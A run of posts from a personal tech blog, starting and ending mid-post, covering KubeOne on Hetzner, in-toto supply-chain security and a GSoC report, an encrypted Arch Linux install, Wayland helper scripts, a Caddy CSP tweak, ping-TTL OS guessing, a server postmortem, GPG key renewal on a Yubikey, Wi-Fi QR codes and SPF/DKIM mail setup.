$ export HCLOUD_TOKEN="<YOUR HCLOUD TOKEN>"
$ terraform init
$ terraform apply

terraform apply will ask you for a cluster name and will prompt you for confirmation later. After only a few seconds (wow), you should see a JSON configuration in green letters. This means everything has been successfuly and the infrastructure is starting right now. You might have noticed the terraform.tfstate file already. Do not lose it, it stores the status quo of your infrastructure configuration. Next we can create our first kubeone.yaml configuration file as input for KubeOne:

apiVersion: kubeone.io/v1beta1
kind: KubeOneCluster

versions:
  kubernetes: '1.19.3'

cloudProvider:
  hetzner: {}
  external: true

Pretty simple, isn’t it? If this is done we save our json output into a json file via: terraform output -json > output.json. Now we get to our final line: kubeone apply --manifest kubeone.yaml --tfjson output.json. This line will apply the KubeOne configuration to our current Terraform configuration and install the cluster in our infrastructure. Your output should be similar to this one here:

INFO[22:38:58 CET] Determine hostname...
INFO[22:38:59 CET] Determine operating system...
INFO[22:39:00 CET] Running host probes...
The following actions will be taken:
Run with --verbose flag for more information.
	+ initialize control plane node "avency-control-plane-1" (192.168.0.4) using 1.19.3
	+ join control plane node "avency-control-plane-2" (192.168.0.3) using 1.19.3
	+ join control plane node "avency-control-plane-3" (192.168.0.5) using 1.19.3
	+ ensure machinedeployment "avency-pool1" with 1 replica(s) exists

Do you want to proceed (yes/no): yes

INFO[22:43:14 CET] Determine hostname...
INFO[22:43:14 CET] Determine operating system...
INFO[22:43:14 CET] Installing prerequisites...
INFO[22:43:14 CET] Creating environment file...                  node=116.203.150.238 os=ubuntu
INFO[22:43:14 CET] Creating environment file...                  node=116.203.202.241 os=ubuntu
INFO[22:43:14 CET] Creating environment file...                  node=116.203.225.170 os=ubuntu
INFO[22:43:14 CET] Configuring proxy...                          node=116.203.202.241 os=ubuntu
INFO[22:43:14 CET] Installing kubeadm...                         node=116.203.202.241 os=ubuntu
INFO[22:43:14 CET] Configuring proxy...                          node=116.203.225.170 os=ubuntu
INFO[22:43:14 CET] Installing kubeadm...                         node=116.203.225.170 os=ubuntu
INFO[22:43:14 CET] Configuring proxy...                          node=116.203.150.238 os=ubuntu
INFO[22:43:14 CET] Installing kubeadm...                         node=116.203.150.238 os=ubuntu
....
INFO[22:49:54 CET] Installing machine-controller...
INFO[22:49:57 CET] Installing machine-controller webhooks...
INFO[22:49:58 CET] Waiting for machine-controller to come up...
INFO[22:50:34 CET] Creating worker machines...

KubeOne could take a few minutes for setting everything up, but in the end you should be greeted with a *-kubeconfig file in the current directory. I suggest you setup a configs directory in $HOME/.kube/configs. This way you can store every Kubernetes config for multiple clusters in one directory. Additionally you should set this environment variable in your zshrc or bashrc configuration: KUBECONFIG="$(find ~/.kube/configs/ -type f -exec printf '%s:' '{}' +)". It will load all Kubernetes configuration files and construct a path from them. Big thanks to my friend Morre for the tip.

If you moved the config file to the right direction and restarted your shell you should be able to list all nodes: kubectl get nodes. The biggest advantage of KubeOne over the previous mentioned method is that you can easily scale your cluster up and down. This works, because KubeOne ships a machine-controller for deploying or deleting worker nodes. For scaling your cluster up and down just modify the machinedeployment resource in the kube-system namespace or use the kubectl scale command: kubectl scale -n kube-system machinedeployment <machinedeployment-name> --replicas=5. You are even able to scale your cluster to zero: kubectl scale -n kube-system machinedeployment <machinedeployment-name> --replicas=0.

Take in mind that you need modify your output.tf or KubeOne configuration manifest if you scale up or down, otherwise you might end up deleting/adding resources you do not want. Apropos deleting, if you want to get rid of everything and this article sucks just do a terraform destroy. This should destroy all configured resources that got created via Terraform. Playing around with this for multiple hours cost me around 20 cent. I hope you do not forget to delete your resources after playing around. Luckily Hetzner is not that expensive and you should not wake up with a €2000 bill the next day (not looking at you Amazon AWS…).

Next time we will dive into bootstrapping our first Kubernetes cluster without machine-controller and static worker nodes.

Here are some additional links that were helpful:

• https://docs.kubermatic.com/kubeone/v1.0/
• https://registry.terraform.io/providers/hetznercloud/hcloud/latest/docs
• https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/
• https://www.kubermatic.com/blog/kubeone-oidc-authentication-audit-logging/

Intro

I spent the last three to four months working on the open source project in-toto as part of my Google Summer of Code stipend at the Cloud Native Computing Foundation (CNCF). Followers of my blog might have already read about in-toto. If you do not know the project, I suggest you have a look on my introduction to in-toto. The introduction article has been written as part of my Google Summer of Code stipend and gives a good overview about the project and what its objectives are.

My challenge

The main objective of my Google Summer of Code stipend has been to port in-toto run functionality from the in-toto Python reference implementation to the Go implementation. The in-toto run functionality is responsible for generating in-toto link data. In-toto links are files, that represent a step in a software supply chain. Each of these steps can be signed and later verified. Adding in-toto run functionality to the Go implementation has been tracked in the following Github issues:

• https://github.com/in-toto/in-toto-golang/issues/54
• https://github.com/in-toto/in-toto-golang/issues/30
• https://github.com/in-toto/in-toto-golang/issues/27

The following key results were to be achieved:

• Signing generated link data via signature algorithms as specified in the in-toto specification
• Full support for RSA-PSS, ED25519 and ECDSA.
• Generating link files

My merged pull request, that addresses these key results can be found here: https://github.com/in-toto/in-toto-golang/pull/56

During my journey I did a lot more than that. Implementing the above requirements led us (my mentors and me) to a few other issues. These issues were so significant that we decided to solve these issues, while working on the actual in-toto run implementation. The following listing shall give a brief insight on what I have worked on additionally.

• Cleanup code indentation and multi-line comments:
  • Issue #18
  • PR #51
• Handling unhandled errors:
  • PR #52
• Reviving the in-toto symlink functionality PR and finishing it (this was a dependency for our in-toto run functionality):
  • Issue #32
  • PR #55
• Handling excess data returned by pem.Decode:
  • Issue #14
  • PR (fixied within the main objective PR #56)
• Keeping OS interoperability via using the decoded PEM block, instead of raw PEM bytes:
  • Issue #75
  • PR #76

The in-toto Go implementation is in direct relationship to the in-toto Python implementation and the in-toto specification. Therefore it is not surprising, that I have also addressed a few inconsistencies in the specification and the Python implementation.

• Fixing over-importing in the in-toto Python implementation:
  • Issue #378
  • PR #379
• Fixing key word inconsistencies in the in-toto specification:
  • PR #29
• Fixing a wrong data type for the return-value in the in-toto specification:
  • PR #36

Additional work

Additionally, the following issues have been uncovered during the development process:

• key format inconsistency in securesystemslib: Issue #251
• compare the way we store symlinks in our link metadata to the reference implementation: Issue #57
• Hardware Security Module (HSM) support: Issue #61
• Test interoperability with the Python implementation via subprocess calls: Issue #63
• ecdsa curve sanity checks: Issue #65
• validate functions, specifically key validations: Issue #68
• In-toto record functionality: Issue #69
• Do not share state in test functions: Issue #71
• Use Go Linter for CI: Issue #74

These issues are already fixed or are on the verge of being fixed:

• Moving our subSetCheck function to the utils.Set interface
  • Issue #66
  • PR #73
• Support for Go 1.15 (moving to ecdsa.SignASN1 + fixing testMain)
  • Issue #60 and #64
  • PR (not merged yet) #70
• Add Logo + fix Readme (because who does not like fancy logos?!)
  • PR #77
• Add Github Actions support
  • Issue #62
  • PR (not merged yet) #72
• Implement multi hash support
  • Issue #31 and #67
  • PR (draft) #78
• Gitignore like exclude patterns
  • Issue #33
  • PR (draft) #53

My personal highlights

During the Google Summer of Code my personal highlights were finding and submitting a patch for a tiny bug in Go’s crypto/rsa library and attending the Kubecon 2020.

What did I learn?

During Google Summer of Code I had a lot of fun working on the CNCF project in-toto, but did I also learn something? The answer is clearly yes. Before Google Summer of Code I have contributed already to open source projects, but these contributions were mostly small bug fixes, reporting bugs or my very system and security focused work at Arch Linux. It has been a dream since long to contribute more than just a few lines of code to a project, but in the past I had difficulties to get into such a project. The Google Summer of Code was my first successful try to deep-dive into a foreign code base and to contribute more than just a few lines of code. This experience definitely increased my skills in reading foreign code, getting faster familiar with a foreign code-base and communicating with project developers. Furthermore, in-toto challenged my security skills and lead to a much wider understanding of signing algorithms such like ED25519, RSA-PSS or ECDSA and key formats such like PKCS1, PKCS8 or PEM. This project increased my security awareness in terms of cryptography significantly.

Plans for the future

Well, I think I totally fell in love with the project. Not only did I never join such a welcoming and interesting community, I also finally found a project that I think is important, interesting and challenging at the same time. Moreover I really think, that my future career goals will come one step closer with this project. The Go implementation and the near to the CNCF will definitely help me in increasing my Site Reliability Skills.

Special thanks

I do not want to finish, before honouring my four mentors Lukas Pühringer, Justin Cappos, Santiago Torres-Arias and Trishank Karthik Kuppusamy. They always reacted quickly when needed and they always gave me the right hints, when I had difficulties understanding the specification or the code base. Especially the work with Lukas was very enjoyable and I look forward to a lot more interesting discussions in future pull requests and issues. Santiago has been always there for me, when I did a few hours too much and slipped into a different timezone. The timezone difference was definitely a bonus and not a malus this time. Trishank was a person I could always count on. He supported me in many ways and gave me hints when I have encountered a problem. Furthermore we had a few interesting discussions around the in-toto specification, the securesystemslib and their relationship to TUF. I am pretty sure, this will be not the last discussions we had about the in-toto specification.

I did not install Arch Linux for a long time (nearly over 8 years, lol). Therefore I never saw a need to automate an Arch Linux installation. I am aware, that there are solutions for automated Arch Linux installation. This guide, however, will be a manually guide (I will hopefully automate this later.. HAHA).

The T14 has a 512GB NVMe (this is over 3x more than my X220 with 120GB SSD) and 32GB RAM. Therefore I have decided for the following partition schema.

Next step was creating the filesystems:

# mkfs.vfat -F 32 /dev/nvme0n1p1
# cryptsetup luksFormat /dev/nvme0n1p3
# cryptsetup luksOpen /dev/nvme0n1p3 system
# mkfs.ext4 /dev/mapper/system

I left the swap partition out, because I installed it later, when the base system was there. As next step I mounted everything:

# mount /dev/mapper/system /mnt
# mkdir /mnt/boot
# mount /dev/nvme0n1p1 /mnt/boot

The next step created my base system, with everything what i need.

# pacstrap /mnt base linux linux-firmware sway iwd alacritty chromium fwupd \
	hplip w3m slurp pacman-contrib ttf-baekmuk noto-fonts-emoji hugo skim \
	man-db archlinux-contrib cups ttf-sazanami ttf-inconsolata noto-fonts \
	fuse2 fuse3 wl-clipboard gcr pinentry pcsclite yubico-c yubico-c-client \
	yubico-pam yubikey-manager yubikey-personalization yubikey-touch-detector \
	zsh-syntax-highlighting weechat pavucontrol xorg-xev brightnessctl \
	mlocate xorg-server-xwayland grim wf-recorder exa tlp acpi \
	sof-firmware amd-ucode tmux sudo go zsh git mako htop restic \
	gcc libnotify base-devel swaylock bemenu neovim gopass pulseaudio pamixer \
# genfstab -p /mnt >> /mnt/etc/fstab

For my swap partition I entered this line into my fstab file:

# /dev/mapper/swap UUID=a4d116ea-450e-4902-8a9d-b8a829c87d35
/dev/mapper/swap          	none      	swap      	defaults  	0 0

And this line here into /etc/crypttab:

swap		PARTUUID=c89118d6-5d50-bb4e-9c31-b55205861134				/dev/urandom		swap,cipher=aes-xts-plain64,size=256

Where PARTUUID=c89118d6-5d50-bb4e-9c31-b55205861134 is the partition UUID of /dev/nvme0n1p1. Next I chrooted into the system and generated locales, mkinitcpio, boot loader etc.

# nvim /etc/locale.gen
# locale-gen
# nvim /etc/mkinitcpio.conf

My /etc/mkinitcpio.conf uses systemd hooks:

HOOKS=(base systemd keyboard autodetect modconf block sd-vconsole sd-encrypt filesystems fsck)

Finally I set up my kernel, the bootloader and set a new root password and started into the new system:

# mkinitcpio -p linux
# mkdir -p /boot/loader/entries
# nvim /boot/loader/loader.conf
# nvim /boot/loader/entries/motoko.conf
# passwd root
# bootctl install
# bootctl status
# exit
# umount /mnt/boot
# umount /mnt
# cryptsetup luksClose system
# reboot

My loader.conf:

default motoko.conf
editor no

My motoko.conf:

title motoko
linux  vmlinuz-linux
initrd amd-ucode.img
initrd initramfs-linux.img
options rd.luks.uuid=6de4dec9-6d2e-448f-a743-591194eeae8d rd.luks.options=discard rd.luks.name=6de4dec9-6d2e-448f-a743-591194eeae8d=system root=UUID=b80387fc-41de-424a-9ec7-3abc7cb14d8d rw

After rebooting, I did a few other things, just like setting up a new user, cloning my dotfiles repository into the users home, setting timedatectl, systemd-nspawn and systemd-resolved and more.

I hope this short guide gives you a rope to follow and I hope my way of installation will not be invalid in the next 10 years.

• I changed my file sharing scripts
• I moved from rofi to bemenu
• I changed my scripts, that were based on rofi

For my file sharing scripts I introduced a new helper script with the generic name share. share just uploads a file via SFTP to one of my servers and returns a link to this file. I decided to move away from using file, because I would like to be in control over my data. My old filebin provider https://paste.xinu.at has deleted uploaded files after a while. The share script depends on wl-copy, rsync, openssh and libnotify. If you want to have a look on share and the other scripts, check out my dotfiles.

The next topic is rofi. I was actually very happy with rofi, but I nevertheless decided to went away from it, because there is still no native Wayland support. So I had a look on the alternatives wofi and bemenu. Wofi looked nice, but I got turned down by their GTK dependency and their style configuration via CSS. However bemenu was not 100% pain free, too. Bemenu is unable to spawn on the current focused sway workspace. This means, if you use a multi monitor setup bemenu will always appear on the same screen.

Bemenu has a parameter flag for choosing the right sway monitor, but the format is different to the one that sway uses. Luckily I managed to find a solution for it. When looking over swaymsg -r -t get_outputs I realized that the monitor names have a specific format: VGA-1, HDMI-A-3…

I also realized that the last number in this format is the bemenu monitor index I need. The solution is a small python script, that retrieves the current focused monitor name and extracts the last number via regex:

#!/usr/bin/env python

import asyncio
from i3ipc.aio import Connection
import re


async def main():
    i3 = await Connection().connect()
    outputs = await i3.get_outputs()
    for output in outputs:
        if output.focused:
            return output.name

focus = asyncio.run(main())
match = re.search('.*-(\d)', focus)
print(match.group(1))

Hint: This unfortunately only works for a monitor setup with less than 10 monitors. If you have more (wtf?), just change the regex.

I am invoking the python script directly as bemenu parameter flag as: bemenu -m "$(script)".

With moving from rofi to bemenu, I also had to change my password and oath scripts. My oath script is new:

source "${HOME}/.local/share/scripts/bemenu"

input=$(ykman oath list | _bemenu -p "oath")
oath=$(ykman oath code -s "$input")
echo "$oath" | wl-copy --paste-once

It spawns up bemenu for selecting an oath resource that is saved on my Yubikey and copies it into my Wayland clipboard. Note that I use --paste-once as parameter for wl-copy. With this flag I am able to paste this OATH code only once. The clipboard will get cleaned up afterwards (very useful for secrets, passwords, etc). The downside of wl-copy --paste-once is that you can only paste to Wayland applications with it (this is annoying if you are using Chromium, like me).

My bemenu-gopass script uses the same mechanism:

source "${HOME}/.local/share/scripts/bemenu"

input=$(gopass list -f | _bemenu -p "gopass")
printf '%s' "$(gopass show -o "$input")" | wl-copy --paste-once

_bemenu is a small function with my custom bemenu command, because bemenu has no configuration file yet:

#!/bin/bash

_bemenu() {
  bemenu -i --hb "#151718" --tb "#151718" --nb "#151718" --hf "#9FCA56" --tf "#9FCA56" --fb "#151718" --fn "font pango:inconsolata 8" -m "$(swayfocused)" --no-exec "$@"
}

swayfocused is the name of my python script that I’ve mentioned above.

If you ever stumbled upon my CV you might have looked on this:

Finally I could fix this, after finding this Chrome issue here:

https://bugs.chromium.org/p/chromium/issues/detail?id=271452

The problem got triggered via my strong CSP. I am setting style-src 'self' and object-src 'self' on default. These CSP settings are altering the injected CSS by Chrome/Chromium and therefore the PDF content viewer will not work like it should do. The solution for now is setting unsafe-inline for both CSP settings. However this leads to the problem that I do not want to set this for my whole website, because it is surprisingly unsafe. Thus I have been playing around with my Caddyfile and came up with a solution that I am quite happy with. I am using a pdf matcher now. If you are not familiar with matchers in Caddy, then you should have a look on this documentation:

https://caddyserver.com/docs/caddyfile/concepts#matchers

Matchers are basically like regex for your webserver. You can match on a specific path and apply specific settings for this path only. Consequently I can apply an unsafe CSP setting for PDF files only via matching on all PDF files:

@pdf {
	path *.pdf
}

Be aware, that a matcher needs to be placed in the related server block. Global matchers are not possible right now. For applying the matcher you can use the same syntax as first argument to a new header block:

header @pdf {
	Content-Security-Policy "default-src 'none'; base-uri 'self'; form-action 'none'; img-src 'self'; script-src 'self'; style-src 'unsafe-inline'; font-src 'self'; worker-src 'self'; object-src 'unsafe-inline'; media-src 'self'; frame-ancestors 'none'; manifest-src 'self'; connect-src 'self'"
}

With this header I am setting a new CSP header with updated object-src and style-src settings. }

This is where in-toto jumps into place. in-toto specifies how a supply chain can be secured and validated. The difference to the usual approach of just signing a tarball is, that in-toto makes it possible to sign and validate every step of a supply chain. The in-toto specification lists three main actors:

• The product owner
• The functionaries
• The client

The product owner describes the supply chain and enumerates all steps necessary for the final product. The functionaries are taking part in the supply chain, they are usually developers or packagers or an automated system for continuous integration. The client is usually the person or system who wants to use the final product and needs to validate each step for making sure that the final product is the desired product and has not been maliciously altered.

Each role is related to one in-toto component. The product owner writes the supply chain layout file. The functionaries use the in-toto runtime for creating link metadata for each step of software “production”. The in-toto verify component will then be used to verify the final product.

On default in-toto specifies JSON as metadata format. The supply chain layout file looks as follows:

    { "_type" : "layout",
       "expires" : "EXPIRES",
       "readme": "README",
       "keys" : {
           "KEYID" : "KEY",
            "...":"..."
        },
       "steps" : [
           {"...":"..."}
       ],
       "inspections" : [
           {"...": "..."}
       ]
    }

Each element should be self-descriptive. The _type just specifies, the type of file. In this case a “layout”. The expires element sets an expiration date. The readme can be used for documentation. The list keys holds all necessary public keys, that are needed for each supply chain step. The element inspections lists restrictions for each step within a link. This is going to be used for validation by the client.

A step is declared as follows:

    {
      "_name": "NAME",
      "threshold": "THRESHOLD",
      "expected_materials": [
         ["ARTIFACT_RULE"],
         "..."
      ],
      "expected_products": [
         ["ARTIFACT_RULE"],
         "..."
      ],
      "pubkeys": [
         "KEYID",
         "..."
      ],
      "expected_command": "COMMAND"
    }

Each step has a name and a threshold. The threshold is an integer stating how many links of metadata must be provided to verify this step. This means, that the threshold specifies how many different keys/functionaries are required to sign off a step. The number of link metadata stays in direct relationship to the number of different keys/functionaries. A step also consists of expected materials and expected products (like input and output files), a list of pubkeys and an expected command. The expected materials and expected products are needed for ensuring that a supply chain step has no missing or additional content. The expected command declares the command that has been invoked in this step. artifact rules are more complicated, these are rules, that can be used for connecting steps and authorizing certain operations on an artifact (for example the README can only be created in the create-documentation step).

This is how an inspection looks like:

    {
      "_name": "NAME",
      "expected_materials": [
         ["ARTIFACT_RULE"],
         "..."
      ],
      "expected_products": [
         ["ARTIFACT_RULE"],
         "..."
      ],
      "run": "COMMAND"
    }

An inspection is not so different to a step. It comes with a name, expected artifacts and a command to run. The run field will be used to spawn a new process in the validation system for creating link metadata.

This link metadata is structured as:

 { "_type" :  "link",
   "_name" :  "NAME",
   "command" : "COMMAND",
   "materials": {
      "PATH": "HASH",
      "...": "..."
   },
   "products": {
      "PATH": "HASH",
      "...": "..."
   },
   "byproducts": {
        "stdin": "",
        "stdout": "",
        "return-value": ""
    }
 }

The link metadata provides a name, a command that gets executed by the functionary, the needed input/output artifacts and several byproducts. The byproducts are interesting though. The byproducts specify a return value, stdin and stdout. The byproducts are not verified on default, but they can be useful for further validation in the inspection step.

These are many different components and this may sound rather complicated, but actually it isn’t. You can think about in-toto as a specification and framework for validating each node in a graph. Each node needs a link metadata file that exactly states what happened and by whom. The layout file declares the way through this graph and ensures that the exact way is being followed and by the right person. The inspection is the end step performed by the client, where the client validates, that the way has been used for generating this final product, while using the layout or way description of the trusted product owner.

The in-toto specification has much more than this. There exist sub layouts for allowing trusted actors to do a certain step and we haven’t even talked about the artifact rules. I hope I could ignite a spark of interest in in-toto. If you want to read more about it, I really recommend the specification and the demo:

• https://github.com/in-toto/docs/blob/v0.9/in-toto-spec.md
• https://github.com/in-toto/demo

If you are interested in secure updates, you should also have a look on the TUF (The Update Framework). This is an excellent addition to in-toto and maybe a nice topic for another article. With TUF and in-toto together you can achieve complete end-to-end security.

• https://theupdateframework.io/

I would also really encourage to have a look on the blog article of one of my friends:

• https://badhomb.re/ci/security/2020/05/01/tuf-in-toto.html

If you ever find yourself in the situation to identify a device’s OS only by it’s IP address, you can try just pinging the device. The TTL (Time-To-Live) will give you an hint about the OS. You can use the following table for the beginning:

Here is an example for my local router:

PING 192.168.178.1 (192.168.178.1) 56(84) bytes of data.
64 bytes from 192.168.178.1: icmp_seq=1 ttl=64 time=1.15 ms
64 bytes from 192.168.178.1: icmp_seq=2 ttl=64 time=1.71 ms

One of my readers has pointed out, that you might need to add the hop count to the TTL if your target is more than one hop away. The hop count is the number of “Internet nodes” you’ve passed to get to your target. Here is a more complex example for this blog:

traceroute to shibumi.dev (78.46.124.83), 30 hops max, 60 byte packets
 1  _gateway (192.168.178.1)  3.646 ms  3.642 ms  3.626 ms
 2  62.155.243.118 (62.155.243.118)  6.483 ms  6.490 ms  6.473 ms
 3  n-ea9-i.N.DE.NET.DTAG.DE (62.154.24.222)  17.246 ms  17.240 ms  18.123 ms
 4  n-ea9-i.N.DE.NET.DTAG.DE (62.154.24.222)  18.112 ms  18.080 ms  18.028 ms
 5  * * *
 6  core23.fsn1.hetzner.com (213.239.252.230)  20.986 ms  28.003 ms  30.109 ms
 7  spine3.cloud2.fsn1.hetzner.com (213.239.239.134)  25.811 ms  19.757 ms spine1.cloud2.fsn1.hetzner.com (213.239.239.126)  18.434 ms
 8  * * *
 9  10145.your-cloud.host (159.69.97.15)  20.257 ms  20.259 ms  20.233 ms
10  * * *
11  kurisu.shibumi.dev (78.46.124.83)  20.063 ms  20.031 ms  20.005 ms

The hop count in this case is 11. So you gonna add 11 to the TTL you’ve aquired via ping:

PING shibumi.dev(shibumi.dev (2a01:4f8:1c17:4572::1)) 56 data bytes
64 bytes from shibumi.dev (2a01:4f8:1c17:4572::1): icmp_seq=1 ttl=55 time=19.3 ms

11+55 makes 66, we are close to the number 64 (maybe the ping took a different route?), so it’s very likely, that the server is running on Unix or Linux. If you have an explanation for the hop + TTL difference, write me a mail.

My server went down today. So I’ve decided to write a little postmortem for me, so that I will hopefully learn from my server outage. This is also a nice moment to learn how Google writes postmortems: https://landing.google.com/sre/sre-book/chapters/postmortem/#id-YAJuMt7iQW

Overview

Date: 2020-04-29

Status: Complete, action items in progress

Impact: The following of my components went down for a period of 5 hours and 6 minutes:

• https://shibumi.dev
• WKD server
• https//nspawn.org (images are partly persist unavailable)
• IRC bouncer
• git server

Root Causes: Backup restore mechanisms didn’t work as expected. Server has booted after upgrade, but has been partly inconsistent. The package manager dnf has stopped working, due to the python2 to python3 move of Fedora 32. Also SSH login were not possible anymore. Login on Rescue console, was not possible due to selinux enforcing new PAM rules.

Trigger: Failed Upgrade from Fedora 31 to Fedora 32.

Resolution: I’ve setup Fedora 31 again and restored the files I needed from the backup, instead of doing a full system backup or trying to repair the broken Fedora 32 installation.

Detection: https://uptimerobot.com registered a server failure at 2020-04-28 15:45:23 CET.

Lesson Learned

What went well

• Monitoring detected server failures quickly. However, not all services are covered yet (HTTP and ICMP only).
• Restoring single files from the restic backup worked superb.

What went wrong

• Restoring full system from restic was not possible. I really have to look into this and train such situations. After an hour of battling with restic, grub and several other tools, I just gave up and rebuild the server from scratch.
• Hetzner Console is awful. I have an US key layout on my laptop, but the Hetzner console uses a German key layout. So I’ve encountered different annoying issues:
  1. The root login failed, due to z/y swap, so I need to start the rescue image and set a new password.
  2. Pasting URLs into the console got altered. I tried downloading some RPMs, but I wondered that curl told me, that the host http is unknown. So after several minutes I’ve realized, that the colon in the URL got altered to a semicolon, because of the wrong key layout. This situation made me manually correcting all pasted URLs.
• The login via password on a TTY didn’t work on Fedora 32, because of a combination of enabled selinux and PAM rule that enforces, that users with a UID under 1000 can’t login locally.
• SSH login has not been possible. I still have no explanation for this.
• An upgrade of a fresh Fedora 31 to a Fedora 32 took over 30min with max CPU load. No explanation for this here as well. Maybe the Hetzner VMs are just too weak or Hetzner has altered the Fedora 31 images so much, that a clean update is not possible anymore. This could be the explanation, why Hetzner has not released a Fedora 32 image yet.

Where I have been lucky

• Restic backup restore of single files worked.

Action Items for the future

• Finally having an ansible playbook for restoring a server from scratch
• Testing restic full system restores.
• Generating new systemd-nspawn images for https://nsapwn.org
• Adding more service monitoring via https://uptimerobot.com
• High-Availability for my blog (maybe a second server + reverse proxy?)

Timeline

2020-04-28 (all times CET):

• 15:45: first outage.
• 16:20: back online again with broken Fedora 32 installation.
• 20:51: back online again with most systems (images for https://nspawn.org are still missing).

We need to differentiate between two cases: Changing the expiration date of a subkey or changing the expiration date of your GPG master key. In case of the subkeys you can just go call gpg --edit-key <your key ID> and edit the expiration date. This should just work out of the box. If you’ve made the mistake and set an expiration date for your master key (like me), then welcome in the club! This is more difficult.

For changing the expiration date of your GPG master key, you’ll need two things first:

• a backup of your master key (in my case the key with SC label or just your public key)
• a backup of your secret key

We’ll start with unplugging the yubikey, then we need to delete the GPG stubs of our key. The stubs are the interface for GPG, this way GPG knows that it needs to look on another location for the keys. We don’t need them anymore, because we’ll import the backups.

For removing the stubs do the following:

gpg --delete-secret-and-public-keys <your key ID>

Then restart your gpg-agent to get rid of any potential cache: systemctl restart --user gpg-agent (This is maybe different for you). With a clean gpg-agent we can start importing the backups, we’ll start with the master key (this should be your public key):

gpg --import backup-master-key.gpg

Next we’ll import the secret key:

gpg --import secret-key.gpg (make sure that you know your password for it. I nearly forgot mine…)

Ok, now your key should look like this if you call gpg -K:

sec  rsa4096 2015-07-16 [SC]
      6DAF7B808F9DF25139620000D21461E3DFE2060D
      Card serial no. = 0006 09716835
uid           [ unknown] Christian Rebischke <chris@shibumi.dev>
ssb  rsa4096 2015-07-16 [E] [expires: 2022-04-22]
ssb  rsa4096 2019-04-12 [A] [expires: 2022-04-22]

Make sure that the > behind sec is missing. If you see sec> instead of sec you are still working on a stub. If you are sure, that you are not working on a stub anymore, you can edit the key normally now. I suggest you change the expiration date for your master key to infinite, this way you will always be able to change the expiration date of your subkeys. And most importantly: You will not have hassle like this anymore. If you’ve forgot how to change the expiration date, here is a short summary:

gpg --edit-key <your key ID>
gpg> expire
gpg> key 1 (this is your first subkey)
gpg> key 2 (this selects additionally your second subkey)
gpg> expire
gpg> save

Then, you’ll need to export your new pubkey:

gpg --export --armor <your key ID> > /tmp/pubkey.asc

Next restart your gpg-agent again, then plugin your yubikey, then call gpg --edit-key. Now you can start sending the new keys to the Yubikey (yes, we need to overwrite the keys on the Yubikey, it’s the only way, sorry):

gpg --edit-key <your key ID>
gpg> keytocard (select the signature slot)
gpg> key 1 (select the right slot)
gpg> (do the same for the other subkeys)

If done, we are going to test our new yubikey. Pull out the Yubikey, delete the keys again via gpg --delete-secret-and-public-keys <your key ID>, then import your public key and plugin your Yubikey. It should work now as expected and you should see the stubs again if you call gpg -K. Make sure to change the url field in the Yubikey via gpg --card-edit. I also suggest you enable sign/encrypt/authenticate on touch (if you are doing this already, you’ll need to reconfigure this, because the key has changed on your Yubikey):

ykman openpgp set-touch enc on
ykman openpgp set-touch sig on
ykman openpgp set-touch aut on
ykman openpgp info

When you want to upload your new key on a WKD server, make sure to use --no-armor and compare the WKD hashes.

WIFI:S:{SSID name of your network};T:{security type - WPA or WEP};P:{the network password};;

For example:

WIFI:S:MySweetSSID;T:WPA;P:mysecretpassword;;

On Linux you can directly convert this string via qrencode to a QR code:

qrencode -o - -t utf8 'WIFI:S:MySweetSSID;T:WPA;P:mysecretpassword;;'

This command will directly draw a QR code via UTF8 in your terminal (I hope your terminal and font support UTF-8)

❯ resolvectl query -t mx shibumi.dev
shibumi.dev IN MX 10 mxext2.mailbox.org
shibumi.dev IN MX 10 mxext1.mailbox.org
shibumi.dev IN MX 20 mxext3.mailbox.org

Yes, I have to admit I don’t host my own mail infrastructure. I think this is too toilsome and I have better things to do, like writing this blog article.

In this article I want to explain to you how I’ve configured the SPF, DKIM and DMARC settings for my domain. This leads me to my first question: Why do I need SPF, DKIM or DMARC at all?

It’s dead simple. If I wouldn’t have these settings (at least for SPF) big mail providers would classify my mails as spam. So at least SPF is a must-have for me.

But what is SPF? SPF stands for Sender Policy Framework. It permits the receiving mail infrastructure to detect forging of sender addresses. So it makes sure that the mail comes from an IP address that is associated with the domain mentioned in the mail’s FROM header.

In relation to my domain, this means, that if I want to be able to send mails via an external mail provider like mailbox.org with my own domain in the mail’s FROM header, I need to setup SPF. Otherwise other domains could classify my mails as spam. This is how my SPF record looks like:

TXT v=spf1 include:mailbox.org ~all

For SPF you need to use the TXT DNS record. Then you simply specify the SPF version via v=spf1. For me a simple include:mailbox.org ~all is enough, because I just want to include the SPF record of mailbox.org (my mail provider). The ~all mechanism is a test that always matches. The ~ operator in front of the all specifies a softfail. The SPF RFC says about softfail the following:

A “softfail” result is a weak statement by the publishing ADMD that the host is probably not authorized. It has not published a stronger, more definitive policy that results in a “fail”.

NOTE: ADMD means Administrative Management Domain.

So a softfail means that mails can be allowed through, but should be tagged as spam or suspicious. I have been unsure about this and I thought about it a lot. But after a closer look on how other mail providers are handling this I have decided to use the ~ operator instead of -. - would be a strict handling of mails. If you want to know the other operators, have a look on the excellent RFC.

You may ask yourself now: ‘OK, you are doing an include, but how is mailbox.org doing’? We can have a look at mailbox’s SPF record:

❯ resolvectl query -t txt mailbox.org
mailbox.org IN TXT "v=spf1 ip4:213.203.238.0/25 ip4:195.10.208.0/24 ip4:91.198.250.0/24 ip4:80.241.56.0/21 ip6:2001:67c:2050::/48  mx ~all

This SPF record is a little bit more difficult to read, but let’s examine it. The ip4 mechanism are specifying IPv4 ranges. Mails that come from these ranges are considered valid. The mx mechanism automatically approves the mailbox.org mail servers specified in the MX DNS record.

SPF is a little bit difficult to understand at beginning. If you have more questions don’t hesitate to have a look on the RFC or at some other blog articles. I can totally recommend this one here:

https://postmarkapp.com/blog/explaining-spf

Let’s talk about DKIM next. DKIM stands for DomainKeys Identified Mail. DKIM tries to achieve the same as SPF. It tries to help validating mails. The difference with DKIM is that DKIM does this via attaching a digital signature, linked to a domain name, to every outgoing mail message. So instead of relying on a remote SPF record, we are adding another cryptographic layer here.

For DKIM I am just using the standard mailbox.org public key. You can find that key here: https://kb.mailbox.org/display/MBOKBEN/Using+e-mail+addresses+of+your+domain.

The DKIM DNS record looks like this:

